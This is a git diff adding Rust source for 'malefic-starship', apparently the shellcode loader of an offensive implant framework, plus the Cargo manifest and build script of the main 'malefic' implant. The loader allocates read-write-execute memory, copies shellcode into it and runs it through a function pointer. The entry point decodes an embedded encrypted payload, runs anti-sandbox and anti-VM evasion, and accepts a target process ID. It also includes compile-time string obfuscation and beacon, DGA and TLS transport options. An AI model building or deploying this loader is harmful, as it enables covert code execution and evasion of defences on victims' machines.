assert!(!sc.is_empty()); + assert_eq!(sc.as_slice(), &data[..]); + assert_eq!(unsafe { *sc.as_ptr() }, 0x90); + } + + #[test] + fn shellcode_from_slice() { + let buf = [0xCC; 8]; + let sc = Shellcode::from_slice(&buf); + assert_eq!(sc.len(), 8); + assert_eq!(sc.as_slice(), &buf); + } + + #[test] + fn shellcode_empty() { + let sc = Shellcode::new(vec![]); + assert!(sc.is_empty()); + assert_eq!(sc.len(), 0); + } + + #[test] + fn load_shellcode_from_file() { + let dir = std::env::temp_dir(); + let path = dir.join("starship_sdk_test_payload.bin"); + { + let mut f = std::fs::File::create(&path).unwrap(); + f.write_all(&[0x41, 0x42, 0x43]).unwrap(); + } + let sc = load_shellcode(path.to_str().unwrap()).unwrap(); + assert_eq!(sc.as_slice(), &[0x41, 0x42, 0x43]); + std::fs::remove_file(&path).ok(); + } + + #[test] + fn load_shellcode_missing_file() { + let result = load_shellcode("__nonexistent_file_starship_sdk__"); + assert!(result.is_err()); + match result { + Err(e) => assert!(e.contains("Failed to read")), + Ok(_) => panic!("expected error"), + } + } + + #[test] + fn decode_payload_passthrough() { + let raw = vec![0xDE, 0xAD, 0xBE, 0xEF]; + let out = decode_payload(&raw, &[], &[]); + assert_eq!(out, raw); + } + + #[test] + fn decode_payload_passthrough_with_key() { + let raw = vec![1, 2, 3, 4, 5]; + let key = vec![0xFF; 16]; + let extra = vec![0xAA; 8]; + let out = decode_payload(&raw, &key, &extra); + assert_eq!(out, raw); + } + + #[test] + fn has_encoding_reflects_features() { + let expected = cfg!(any( + feature = "enc_xor", + feature = "enc_uuid", + feature = "enc_mac", + feature = "enc_ipv4", + feature = "enc_base64", + feature = "enc_base45", + feature = "enc_base58", + feature = "enc_aes", + feature = "enc_aes2", + feature = "enc_des", + feature = "enc_chacha", + feature = "enc_rc4", + )); + assert_eq!(has_encoding(), expected); + } + + #[test] + fn execute_loader_no_feature_returns_err() { + if !cfg!(any( + feature = "func_ptr", + feature = "apc_nttestalert", + feature = "basic_template", + )) { + let sc = Shellcode::new(vec![0xCC]); + let result = unsafe { execute_loader(&sc, None) }; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("No loader feature enabled")); + } + } + + #[test] + fn loader_names_is_populated() { + assert_eq!(crate::LOADER_NAMES.len(), 64); + } + + #[test] + fn loader_names_no_duplicates() { + let mut seen = std::collections::HashSet::new(); + for name in crate::LOADER_NAMES { + assert!(seen.insert(name), "Duplicate loader name: {}", name); + } + } + + #[test] + fn random_loader_in_list() { + let name = crate::random_loader(); + assert!( + crate::LOADER_NAMES.contains(&name), + "random_loader() returned '{}' not in LOADER_NAMES", + name, + ); + } + + #[test] + fn types_module_accessible() { + assert_eq!(crate::types::MEM_COMMIT, 0x1000); + assert_eq!(crate::types::PAGE_EXECUTE_READWRITE, 0x40); + assert_eq!(crate::types::PROCESS_ALL_ACCESS, 0x001F0FFF); + } + + #[test] + fn run_no_loader_returns_err() { + if !cfg!(any( + feature = "func_ptr", + feature = "apc_nttestalert", + feature = "basic_template", + )) { + let result = unsafe { run(vec![0x90], None, None, None) }; + assert!(result.is_err()); + } + } +} diff --git a/malefic-starship/src/lib.rs b/malefic-starship/src/lib.rs new file mode 100644 index 0000000..6f8b9fd --- /dev/null +++ b/malefic-starship/src/lib.rs @@ -0,0 +1,77 @@ +//! Malefic Starship - Loader Templates +//! +//! Loader templates for various execution techniques. + +#![feature(naked_functions)] + +/// Debug print macro - only outputs when `debug` feature is enabled +#[macro_export] +macro_rules! debug_println { + ($($arg:tt)*) => { + #[cfg(feature = "debug")] + println!($($arg)*); + }; +} + +/// Obfuscate a byte string literal, returning `Vec`. +/// +/// When `obf_strings` is enabled: AES-encrypted at compile time, decrypted at runtime. +/// When disabled: pass-through `.to_vec()` (negligible for one-shot loader). +#[cfg(feature = "obf_strings")] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + ::malefic_gateway::obf_bytes!($s) + }; +} + +#[cfg(not(feature = "obf_strings"))] +#[macro_export] +macro_rules! obf_cstr { + ($s:expr) => { + $s.to_vec() + }; +} + +pub use malefic_os_win::kit::binding; +pub mod obf; +#[cfg(feature = "obf_strings")] +pub use malefic_gateway; +pub mod types; +pub mod loaders; +pub mod decoder; +pub mod launch; + +pub use loaders::common::Shellcode; +pub use loaders::{LOADER_NAMES, random_loader}; + +#[cfg(test)] +mod tests { + #[test] + fn test_obf_cstr_produces_correct_bytes() { + let result = obf_cstr!(b"ntdll.dll\0"); + assert_eq!(result, b"ntdll.dll\0".to_vec()); + } + + #[test] + fn test_obf_cstr_empty() { + let result = obf_cstr!(b"\0"); + assert_eq!(result, b"\0".to_vec()); + } + + #[test] + fn test_obf_cstr_long_string() { + let result = obf_cstr!(b"NtAllocateVirtualMemory\0"); + assert_eq!(result, b"NtAllocateVirtualMemory\0".to_vec()); + assert_eq!(result.len(), 24); + } + + #[test] + fn test_obf_cstr_as_ptr_usable() { + let s = obf_cstr!(b"kernel32.dll\0"); + let ptr = s.as_ptr(); + assert!(!ptr.is_null()); + // Verify first byte + assert_eq!(unsafe { *ptr }, b'k'); + } +} diff --git a/malefic-starship/src/loaders/basic_template.rs b/malefic-starship/src/loaders/basic_template.rs new file mode 100644 index 0000000..b82517d --- /dev/null +++ b/malefic-starship/src/loaders/basic_template.rs @@ -0,0 +1,10 @@ +//! Loader Template 14 - Basic template (placeholder) + +use crate::loaders::common::Shellcode; + +#[cfg_attr(feature = "obf_junk", malefic_gateway::junk)] +pub unsafe fn execute(_shellcode: &Shellcode) -> Result<(), String> { + debug_println!("[*] Starting loader_14: Basic template"); + debug_println!("Good morning!"); + Ok(()) +} diff --git a/malefic-starship/src/loaders/common.rs b/malefic-starship/src/loaders/common.rs new file mode 100644 index 0000000..b8363fe --- /dev/null +++ b/malefic-starship/src/loaders/common.rs @@ -0,0 +1,137 @@ +//! Common types and utilities for loaders + +use crate::types::*; + +/// Shellcode wrapper type +pub struct Shellcode { + pub data: Vec, +} + +impl Shellcode { + pub fn new(data: Vec) -> Self { + Self { data } + } + + pub fn from_slice(data: &[u8]) -> Self { + Self { data: data.to_vec() } + } + + pub fn len(&self) -> usize { + self.data.len() + } + + pub fn is_empty(&self) -> bool { + self.data.is_empty() + } + + pub fn as_ptr(&self) -> *const u8 { + self.data.as_ptr() + } + + pub fn as_slice(&self) -> &[u8] { + &self.data + } + + #[cfg(feature = "obf_memory")] + pub fn zeroize(&mut self) { + malefic_gateway::secure::zeroize::secure_zeroize_vec(&mut self.data); + } +} + +#[cfg(feature = "obf_memory")] +impl Drop for Shellcode { + fn drop(&mut self) { + self.zeroize(); + } +} + +/// Allocate executable memory in current process +pub unsafe fn alloc_exec_memory(size: usize) -> Option<*mut std::ffi::c_void> { + let addr = crate::binding::MVirtualAlloc( + std::ptr::null_mut(), + size, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ); + if addr.is_null() { + None + } else { + Some(addr) + } +} + +/// Execute shellcode via function pointer +pub type ShellcodeFunc = unsafe extern "system" fn(); + +pub unsafe fn execute_via_func_ptr(addr: *const std::ffi::c_void) { + let func: ShellcodeFunc = std::mem::transmute(addr); + func(); +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_shellcode_new() { + let sc = Shellcode::new(vec![0x90, 0xCC, 0xC3]); + assert_eq!(sc.data, vec![0x90, 0xCC, 0xC3]); + } + + #[test] + fn test_shellcode_from_slice() { + let data: &[u8] = &[0x41, 0x42, 0x43]; + let sc = Shellcode::from_slice(data); + assert_eq!(sc.data, data); + } + + #[test] + fn test_shellcode_len() { + let sc = Shellcode::new(vec![1, 2, 3, 4, 5]); + assert_eq!(sc.len(), 5); + } + + #[test] + fn test_shellcode_is_empty() { + assert!(Shellcode::new(vec![]).is_empty()); + assert!(!Shellcode::new(vec![0x90]).is_empty()); + } + + #[test] + fn test_shellcode_as_ptr_not_null() { + let sc = Shellcode::new(vec![0xCC]); + assert!(!sc.as_ptr().is_null()); + } + + #[test] + fn test_shellcode_as_slice_roundtrip() { + let data = vec![0xDE, 0xAD, 0xBE, 0xEF]; + let sc = Shellcode::new(data.clone()); + assert_eq!(sc.as_slice(), &data[..]); + } + + #[test] + fn test_shellcode_empty_creation() { + let sc = Shellcode::new(vec![]); + assert_eq!(sc.len(), 0); + assert!(sc.is_empty()); + assert_eq!(sc.as_slice(), &[]); + } + + #[test] + fn test_shellcode_large_data() { + let data: Vec = (0..4096).map(|i| (i & 0xFF) as u8).collect(); + let sc = Shellcode::new(data.clone()); + assert_eq!(sc.len(), 4096); + assert_eq!(sc.as_slice(), &data[..]); + } + + #[test] + fn test_shellcode_from_slice_is_copy() { + let data: &[u8] = &[1, 2, 3]; + let sc = Shellcode::from_slice(data); + // Modifying original slice shouldn't affect shellcode (it's a copy) + assert_eq!(sc.as_slice(), data); + assert_ne!(sc.as_ptr(), data.as_ptr()); // different allocation + } +} diff --git a/malefic-starship/src/loaders/func_ptr.rs b/malefic-starship/src/loaders/func_ptr.rs new file mode 100644 index 0000000..ffde09a --- /dev/null +++ b/malefic-starship/src/loaders/func_ptr.rs @@ -0,0 +1,52 @@ +//! Loader Template 7 - Function pointer self-injection +//! +//! Simple shellcode execution via function pointer cast. +//! Allocates RWX memory, copies shellcode, and executes via function pointer. + +use crate::loaders::common::{Shellcode, alloc_exec_memory}; +use std::ptr; + +/// Execute shellcode via function pointer invocation +/// +/// # Safety +/// This function executes arbitrary code and is inherently unsafe. +#[cfg_attr(feature = "obf_junk", malefic_gateway::junk)] +pub unsafe fn execute(shellcode: &Shellcode) -> Result<(), String> { + debug_println!("[*] Starting loader_7: Function pointer self-injection"); + + let size = shellcode.len(); + + // Allocate executable memory + let addr = alloc_exec_memory(size) + .ok_or_else(|| format!("Failed to allocate memory"))?; + + debug_println!("[+] Allocated {} bytes at {:p}", size, addr); + + // Copy shellcode to allocated memory + ptr::copy_nonoverlapping( + shellcode.as_ptr(), + addr as *mut u8, + size, + ); + + debug_println!("[+] Shellcode copied to memory"); + + // Execute via function pointer + let func: unsafe extern "system" fn() = std::mem::transmute(addr); + debug_println!("[*] Executing shellcode..."); + func(); + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_shellcode_struct() { + let data = vec![0x90, 0x90, 0xC3]; // NOP NOP RET + let sc = Shellcode::new(data); + assert_eq!(sc.len(), 3); + } +} diff --git a/malefic-starship/src/loaders/mod.rs b/malefic-starship/src/loaders/mod.rs new file mode 100644 index 0000000..4c7fb6d --- /dev/null +++ b/malefic-starship/src/loaders/mod.rs @@ -0,0 +1,25 @@ +//! Loader modules (Community Edition) + +pub mod common; + +#[cfg(feature = "basic_template")] +pub mod basic_template; + +#[cfg(feature = "func_ptr")] +pub mod func_ptr; + +/// All available loader names +pub const LOADER_NAMES: &[&str] = &[ + "basic_template", + "func_ptr", +]; + +/// Get a random loader name +pub fn random_loader() -> &'static str { + use std::time::{SystemTime, UNIX_EPOCH}; + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as usize; + LOADER_NAMES[seed % LOADER_NAMES.len()] +} diff --git a/malefic-starship/src/main.rs b/malefic-starship/src/main.rs new file mode 100644 index 0000000..f5d8054 --- /dev/null +++ b/malefic-starship/src/main.rs @@ -0,0 +1,70 @@ +//! Malefic Loader - Main entry point +//! Three-stage pipeline: Load → Decode → Execute + +#![windows_subsystem = "windows"] + +use malefic_starship::Shellcode; +use malefic_starship::launch::{load_shellcode, decode_payload, has_encoding, execute_loader}; +use std::env; + +/// Parse target PID from command line arguments (second or third arg depending on context) +fn get_target_pid(args: &[String]) -> Option { + // With embedded payload: starship.exe [pid] + // Without embedded payload: starship.exe [pid] + let pid_arg = if cfg!(feature = "embedded_payload") { + args.get(1) + } else { + args.get(2) + }; + pid_arg.and_then(|s| s.parse::().ok()) +} + +fn main() { + let args: Vec = env::args().collect(); + + // Stage 1: Load payload + let raw_data = if cfg!(feature = "embedded_payload") { + // Embedded payload from generated/ directory + let enc = include_bytes!("../generated/payload.enc"); + if enc.is_empty() { + // Fallback to file argument if embedded payload is empty + if args.len() > 1 { + load_shellcode(&args[1]).unwrap_or_else(|e| { eprintln!("{}", e); std::process::exit(1); }) + } else { + Shellcode::new(vec![0x90, 0x90, 0x90, 0xCC]) + } + } else { + Shellcode::new(enc.to_vec()) + } + } else if args.len() > 1 { + load_shellcode(&args[1]).unwrap_or_else(|e| { eprintln!("{}", e); std::process::exit(1); }) + } else { + Shellcode::new(vec![0x90, 0x90, 0x90, 0xCC]) + }; + + // Stage 2: Decode payload (if encoding feature enabled) + let shellcode = if has_encoding() { + let key = include_bytes!("../generated/payload.key"); + let extra = include_bytes!("../generated/payload.extra"); + let decoded = decode_payload(&raw_data.data, key, extra); + Shellcode::new(decoded) + } else { + raw_data + }; + + // Stage 2.5: Run evasion modules (before payload execution) + malefic_evader::run_evaders(); + + // Stage 3: Execute + let target_pid = get_target_pid(&args); + let result = unsafe { execute_loader(&shellcode, target_pid) }; + + // Stage 4: Secure cleanup — zeroize shellcode from memory + #[cfg(feature = "obf_memory")] + drop(shellcode); + + match result { + Ok(()) => {} + Err(e) => { eprintln!("[-] {}", e); std::process::exit(1); } + } +} diff --git a/malefic-starship/src/obf.rs b/malefic-starship/src/obf.rs new file mode 100644 index 0000000..b2c903e --- /dev/null +++ b/malefic-starship/src/obf.rs @@ -0,0 +1,8 @@ +//! Bridge macros for compile-time string obfuscation. +//! +//! The `obf_cstr!` macro is defined in `lib.rs` (via `#[macro_export]`) so +//! it is available in every module of the crate without import. +//! +//! When `obf_strings` feature is enabled, strings are AES-encrypted at compile +//! time and decrypted at runtime. When disabled, strings pass through as-is +//! with a `.to_vec()` allocation (negligible for a one-shot loader). diff --git a/malefic-starship/src/types.rs b/malefic-starship/src/types.rs new file mode 100644 index 0000000..d09992a --- /dev/null +++ b/malefic-starship/src/types.rs @@ -0,0 +1,404 @@ +//! Windows type definitions and constants for loaders +//! +//! Centralizes all Windows constants and struct definitions +//! so individual loaders don't need the `windows` crate. + +use core::ffi::c_void; + +// ============================================================ +// Memory management constants +// ============================================================ +pub const MEM_COMMIT: u32 = 0x1000; +pub const MEM_RESERVE: u32 = 0x2000; +pub const MEM_RELEASE: u32 = 0x8000; +pub const MEM_PRIVATE: u32 = 0x20000; + +pub const PAGE_NOACCESS: u32 = 0x01; +pub const PAGE_READWRITE: u32 = 0x04; +pub const PAGE_EXECUTE_READ: u32 = 0x20; +pub const PAGE_EXECUTE_READWRITE: u32 = 0x40; + +// ============================================================ +// Process / thread access rights +// ============================================================ +pub const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF; +pub const THREAD_ALL_ACCESS: u32 = 0x001F03FF; + +// ============================================================ +// Thread creation flags +// ============================================================ +pub const CREATE_SUSPENDED: u32 = 0x00000004; +pub const CREATE_NO_WINDOW: u32 = 0x08000000; + +// ============================================================ +// Wait / synchronisation +// ============================================================ +pub const INFINITE: u32 = 0xFFFFFFFF; +pub const WAIT_TIMEOUT: u32 = 258; + +// ============================================================ +// Toolhelp snapshot flags +// ============================================================ +pub const TH32CS_SNAPTHREAD: u32 = 0x00000004; +pub const TH32CS_SNAPPROCESS: u32 = 0x00000002; + +// ============================================================ +// File I/O constants +// ============================================================ +pub const FILE_GENERIC_READ: u32 = 0x00120089; +pub const FILE_SHARE_READ: u32 = 0x00000001; +pub const OPEN_EXISTING: u32 = 3; +pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x00000080; +pub const INVALID_HANDLE_VALUE: *mut c_void = -1isize as *mut c_void; + +// ============================================================ +// Exception / debug constants +// ============================================================ +pub const CONTEXT_DEBUG_REGISTERS: u32 = 0x00010010; +pub const CONTEXT_FULL: u32 = 0x0010001F; +pub const CONTEXT_ALL: u32 = 0x0010003F; +pub const EXCEPTION_SINGLE_STEP: u32 = 0x80000004; +pub const EXCEPTION_CONTINUE_EXECUTION: i32 = -1; +pub const EXCEPTION_CONTINUE_SEARCH: i32 = 0; + +// ============================================================ +// UI / message constants +// ============================================================ +pub const LVM_SORTITEMS: u32 = 0x1030; + +// ============================================================ +// Structures +// ============================================================ + +#[repr(C)] +pub struct THREADENTRY32 { + pub dwSize: u32, + pub cntUsage: u32, + pub th32ThreadID: u32, + pub th32OwnerProcessID: u32, + pub tpBasePri: i32, + pub tpDeltaPri: i32, + pub dwFlags: u32, +} + +#[repr(C)] +pub struct STARTUPINFOA { + pub cb: u32, + pub lpReserved: *mut u8, + pub lpDesktop: *mut u8, + pub lpTitle: *mut u8, + pub dwX: u32, + pub dwY: u32, + pub dwXSize: u32, + pub dwYSize: u32, + pub dwXCountChars: u32, + pub dwYCountChars: u32, + pub dwFillAttribute: u32, + pub dwFlags: u32, + pub wShowWindow: u16, + pub cbReserved2: u16, + pub lpReserved2: *mut u8, + pub hStdInput: *mut c_void, + pub hStdOutput: *mut c_void, + pub hStdError: *mut c_void, +} + +#[repr(C)] +pub struct PROCESS_INFORMATION { + pub hProcess: *mut c_void, + pub hThread: *mut c_void, + pub dwProcessId: u32, + pub dwThreadId: u32, +} + +#[repr(C)] +pub struct SECURITY_ATTRIBUTES { + pub nLength: u32, + pub lpSecurityDescriptor: *mut c_void, + pub bInheritHandle: i32, +} + +/// CONTEXT struct (x86_64) — only the fields commonly used by loaders. +/// Full CONTEXT is 1232 bytes on x86_64; we use a byte-array for the rest. +#[cfg(target_arch = "x86_64")] +#[repr(C, align(16))] +pub struct CONTEXT { + pub data: [u8; 1232], +} + +#[cfg(target_arch = "x86_64")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 1232] } + } + + /// ContextFlags at offset 0x30 + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x30..0x34].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x30..0x34].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Rip at offset 0xF8 + pub fn rip(&self) -> u64 { + u64::from_ne_bytes(self.data[0xF8..0x100].try_into().unwrap()) + } + pub fn set_rip(&mut self, val: u64) { + self.data[0xF8..0x100].copy_from_slice(&val.to_ne_bytes()); + } + + /// Rsp at offset 0x98 + pub fn rsp(&self) -> u64 { + u64::from_ne_bytes(self.data[0x98..0xA0].try_into().unwrap()) + } + pub fn set_rsp(&mut self, val: u64) { + self.data[0x98..0xA0].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr0-Dr3 at offsets 0x48, 0x50, 0x58, 0x60 + pub fn dr(&self, idx: usize) -> u64 { + let off = 0x48 + idx * 8; + u64::from_ne_bytes(self.data[off..off + 8].try_into().unwrap()) + } + pub fn set_dr(&mut self, idx: usize, val: u64) { + let off = 0x48 + idx * 8; + self.data[off..off + 8].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr6 at offset 0x68 + pub fn dr6(&self) -> u64 { + u64::from_ne_bytes(self.data[0x68..0x70].try_into().unwrap()) + } + pub fn set_dr6(&mut self, val: u64) { + self.data[0x68..0x70].copy_from_slice(&val.to_ne_bytes()); + } + + /// Dr7 at offset 0x70 + pub fn dr7(&self) -> u64 { + u64::from_ne_bytes(self.data[0x70..0x78].try_into().unwrap()) + } + pub fn set_dr7(&mut self, val: u64) { + self.data[0x70..0x78].copy_from_slice(&val.to_ne_bytes()); + } +} + +#[cfg(target_arch = "x86")] +#[repr(C)] +pub struct CONTEXT { + pub data: [u8; 716], +} + +#[cfg(target_arch = "x86")] +impl CONTEXT { + pub fn new() -> Self { + Self { data: [0u8; 716] } + } + + pub fn context_flags(&self) -> u32 { + u32::from_ne_bytes(self.data[0x00..0x04].try_into().unwrap()) + } + pub fn set_context_flags(&mut self, flags: u32) { + self.data[0x00..0x04].copy_from_slice(&flags.to_ne_bytes()); + } + + /// Eip at offset 0xB8 + pub fn eip(&self) -> u32 { + u32::from_ne_bytes(self.data[0xB8..0xBC].try_into().unwrap()) + } + pub fn set_eip(&mut self, val: u32) { + self.data[0xB8..0xBC].copy_from_slice(&val.to_ne_bytes()); + } +} + +/// EXCEPTION_POINTERS (used by VEH callbacks) +#[repr(C)] +pub struct EXCEPTION_POINTERS { + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ContextRecord: *mut CONTEXT, +} + +#[repr(C)] +pub struct EXCEPTION_RECORD { + pub ExceptionCode: u32, + pub ExceptionFlags: u32, + pub ExceptionRecord: *mut EXCEPTION_RECORD, + pub ExceptionAddress: *mut c_void, + pub NumberParameters: u32, + pub ExceptionInformation: [usize; 15], +} + +/// MEMORY_BASIC_INFORMATION (used by VirtualQuery) +#[repr(C)] +pub struct MEMORY_BASIC_INFORMATION { + pub BaseAddress: *mut c_void, + pub AllocationBase: *mut c_void, + pub AllocationProtect: u32, + #[cfg(target_arch = "x86_64")] + pub PartitionId: u16, + pub RegionSize: usize, + pub State: u32, + pub Protect: u32, + pub Type: u32, +} + +#[cfg(test)] +mod tests { + use super::*; + use core::mem::size_of; + + // ── Constant value tests ─────────────────────────────────────────────── + #[test] + fn test_memory_constants() { + assert_eq!(MEM_COMMIT, 0x1000); + assert_eq!(MEM_RESERVE, 0x2000); + assert_eq!(MEM_RELEASE, 0x8000); + assert_eq!(MEM_PRIVATE, 0x20000); + } + + #[test] + fn test_page_protection_constants() { + assert_eq!(PAGE_NOACCESS, 0x01); + assert_eq!(PAGE_READWRITE, 0x04); + assert_eq!(PAGE_EXECUTE_READ, 0x20); + assert_eq!(PAGE_EXECUTE_READWRITE, 0x40); + } + + #[test] + fn test_access_rights_constants() { + assert_eq!(PROCESS_ALL_ACCESS, 0x001F0FFF); + assert_eq!(THREAD_ALL_ACCESS, 0x001F03FF); + } + + #[test] + fn test_thread_constants() { + assert_eq!(CREATE_SUSPENDED, 0x00000004); + assert_eq!(CREATE_NO_WINDOW, 0x08000000); + } + + #[test] + fn test_wait_constants() { + assert_eq!(INFINITE, 0xFFFFFFFF); + assert_eq!(WAIT_TIMEOUT, 258); + } + + #[test] + fn test_exception_constants() { + assert_eq!(CONTEXT_DEBUG_REGISTERS, 0x00010010); + assert_eq!(CONTEXT_FULL, 0x0010001F); + assert_eq!(CONTEXT_ALL, 0x0010003F); + assert_eq!(EXCEPTION_SINGLE_STEP, 0x80000004); + assert_eq!(EXCEPTION_CONTINUE_EXECUTION, -1); + assert_eq!(EXCEPTION_CONTINUE_SEARCH, 0); + } + + #[test] + fn test_file_constants() { + assert_eq!(FILE_GENERIC_READ, 0x00120089); + assert_eq!(FILE_SHARE_READ, 0x00000001); + assert_eq!(OPEN_EXISTING, 3); + assert_eq!(FILE_ATTRIBUTE_NORMAL, 0x00000080); + } + + #[test] + fn test_toolhelp_constants() { + assert_eq!(TH32CS_SNAPTHREAD, 0x00000004); + assert_eq!(TH32CS_SNAPPROCESS, 0x00000002); + } + + // ── Struct size tests ────────────────────────────────────────────────── + #[test] + fn test_threadentry32_size() { + // THREADENTRY32 is 28 bytes (7 × u32/i32) + assert_eq!(size_of::(), 28); + } + + #[test] + fn test_process_information_size() { + // Two handles (8 bytes each on x64) + two u32 = 24 bytes + #[cfg(target_arch = "x86_64")] + assert_eq!(size_of::(), 24); + } + + #[test] + fn test_security_attributes_size() { + #[cfg(target_arch = "x86_64")] + assert_eq!(size_of::(), 24); + } + + // ── CONTEXT getter/setter tests ──────────────────────────────────────── + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_new_is_zeroed() { + let ctx = CONTEXT::new(); + assert!(ctx.data.iter().all(|&b| b == 0)); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_size() { + assert_eq!(size_of::(), 1232); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_flags_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_context_flags(CONTEXT_ALL); + assert_eq!(ctx.context_flags(), CONTEXT_ALL); + ctx.set_context_flags(CONTEXT_DEBUG_REGISTERS); + assert_eq!(ctx.context_flags(), CONTEXT_DEBUG_REGISTERS); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_rip_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_rip(0xDEADBEEF_CAFEBABE); + assert_eq!(ctx.rip(), 0xDEADBEEF_CAFEBABE); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_rsp_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_rsp(0x00007FFE_12345678); + assert_eq!(ctx.rsp(), 0x00007FFE_12345678); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_dr_registers() { + let mut ctx = CONTEXT::new(); + for i in 0..4 { + let val = 0x1111_1111 * (i as u64 + 1); + ctx.set_dr(i, val); + assert_eq!(ctx.dr(i), val, "DR{} mismatch", i); + } + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_dr6_dr7_roundtrip() { + let mut ctx = CONTEXT::new(); + ctx.set_dr6(0xFFFF0FF0); + ctx.set_dr7(0x00000401); + assert_eq!(ctx.dr6(), 0xFFFF0FF0); + assert_eq!(ctx.dr7(), 0x00000401); + } + + #[cfg(target_arch = "x86_64")] + #[test] + fn test_context_fields_do_not_overlap() { + let mut ctx = CONTEXT::new(); + ctx.set_rip(0xAAAA_AAAA_AAAA_AAAA); + ctx.set_rsp(0xBBBB_BBBB_BBBB_BBBB); + ctx.set_context_flags(0xCCCCCCCC); + ctx.set_dr(0, 0xDDDD_DDDD_DDDD_DDDD); + // Verify none clobbered the others + assert_eq!(ctx.rip(), 0xAAAA_AAAA_AAAA_AAAA); + assert_eq!(ctx.rsp(), 0xBBBB_BBBB_BBBB_BBBB); + assert_eq!(ctx.context_flags(), 0xCCCCCCCC); + assert_eq!(ctx.dr(0), 0xDDDD_DDDD_DDDD_DDDD); + } +} diff --git a/malefic/Cargo.toml b/malefic/Cargo.toml new file mode 100644 index 0000000..4737756 --- /dev/null +++ b/malefic/Cargo.toml @@ -0,0 +1,89 @@ +[package] +name = "malefic" +version = "0.1.1" +edition = "2021" +build = "build.rs" + +[lib] +name = "malefic_lib" +path = "src/lib.rs" +crate-type = ["cdylib", "rlib"] + +[features] +default = ["addon", "beacon", "crypto_aes", "hot_load", "register_info", "transport_tcp"] + +beacon = [] +bind = ["malefic-transport/bind"] +addon = ["malefic-stub/addon"] +hot_load = ["malefic-stub/hot_load"] +register_info = ["malefic-stub/register_info"] + +secure = ["malefic-stub/secure"] + +# Random backend override (workspace default is random_nanorand) +random_getrandom = ["malefic-common/random_getrandom"] + +anti_sandbox = ["malefic-evader/anti_sandbox"] +anti_vm = ["malefic-evader/anti_vm"] +sleep_obf = [] + +# guardrail +guardrail = ["malefic-guardrail"] + +# transport protocol +transport_tcp = ["malefic-transport/transport_tcp"] +transport_http = ["malefic-transport/transport_http"] +transport_rem = ["malefic-transport/transport_rem", "dep:md-5"] +tls = ["malefic-transport/tls"] +tls_rustls = ["malefic-transport/tls_rustls"] +tls_native = ["malefic-transport/tls_native"] +mtls = ["malefic-transport/mtls"] +proxy = ["malefic-transport/proxy"] +dga = ["malefic-transport/dga"] + +# crypto (propagate to proto) +crypto_aes = ["malefic-proto/crypto_aes"] +crypto_chacha20 = ["malefic-proto/crypto_chacha20"] +crypto_xor = ["malefic-proto/crypto_xor"] + +# 3rd-party modules +malefic-3rd = ["malefic-stub/malefic-3rd"] + +[dependencies] +async-trait = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } +malefic-gateway = { workspace = true } +malefic-features = { workspace = true } + +anyhow = { workspace = true } +thiserror = { workspace = true } +md-5 = { version = "0.10", optional = true } + +malefic-stub = { workspace = true, default-features = false } +malefic-proto = { workspace = true } +malefic-config = { workspace = true } +malefic-common = { workspace = true, default-features = false } +malefic-guardrail = { workspace = true, optional = true } +malefic-sysinfo = { workspace = true } +malefic-scheduler = { workspace = true } +malefic-transport = { workspace = true, default-features = false, features = ["tokio"] } +malefic-autorun = { workspace = true, optional = true } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true, default-features = false } +malefic-evader = { workspace = true, default-features = false } + +[build-dependencies] +embed-resource = { workspace = true } + +[dev-dependencies] +async-net = { workspace = true } +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time"] } +# TLS mock server support +rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] } +rustls-pemfile = "2" +futures-rustls = "0.26" +# HMAC signature verification in security tests +hmac = { workspace = true } +sha2 = { workspace = true } diff --git a/malefic/build.rs b/malefic/build.rs new file mode 100644 index 0000000..0f2cb58 --- /dev/null +++ b/malefic/build.rs @@ -0,0 +1,78 @@ +use std::env; +use std::path::PathBuf; + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let workspace_root = manifest_dir.parent().expect("workspace root"); + let resources_dir = workspace_root.join("resources"); + + println!("cargo:rerun-if-changed=build.rs"); + println!( + "cargo:rerun-if-changed={}", + resources_dir.join("malefic.rc").display() + ); + println!( + "cargo:rerun-if-changed={}", + resources_dir.join("YY-Thunks-Objs").display() + ); + println!("cargo:rerun-if-env-changed=YY_THUNKS_TARGET_OS"); + + let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap_or_else(|_| "unknown".to_string()); + if target_os != "windows" { + return; + } + + link_yy_thunks(&resources_dir); + + // embed_resource produces MSVC .lib; GNU linker can't read it + let target_env = env::var("CARGO_CFG_TARGET_ENV").unwrap_or_default(); + if target_env != "gnu" { + compile_resources(&resources_dir); + } +} + +fn link_yy_thunks(resources_dir: &PathBuf) { + let compat_target = match env::var("YY_THUNKS_TARGET_OS") { + Ok(v) if !v.is_empty() => v, + _ => return, + }; + + let target_arch = env::var("CARGO_CFG_TARGET_ARCH").unwrap(); + let arch_folder = match target_arch.as_str() { + "x86_64" => "x64", 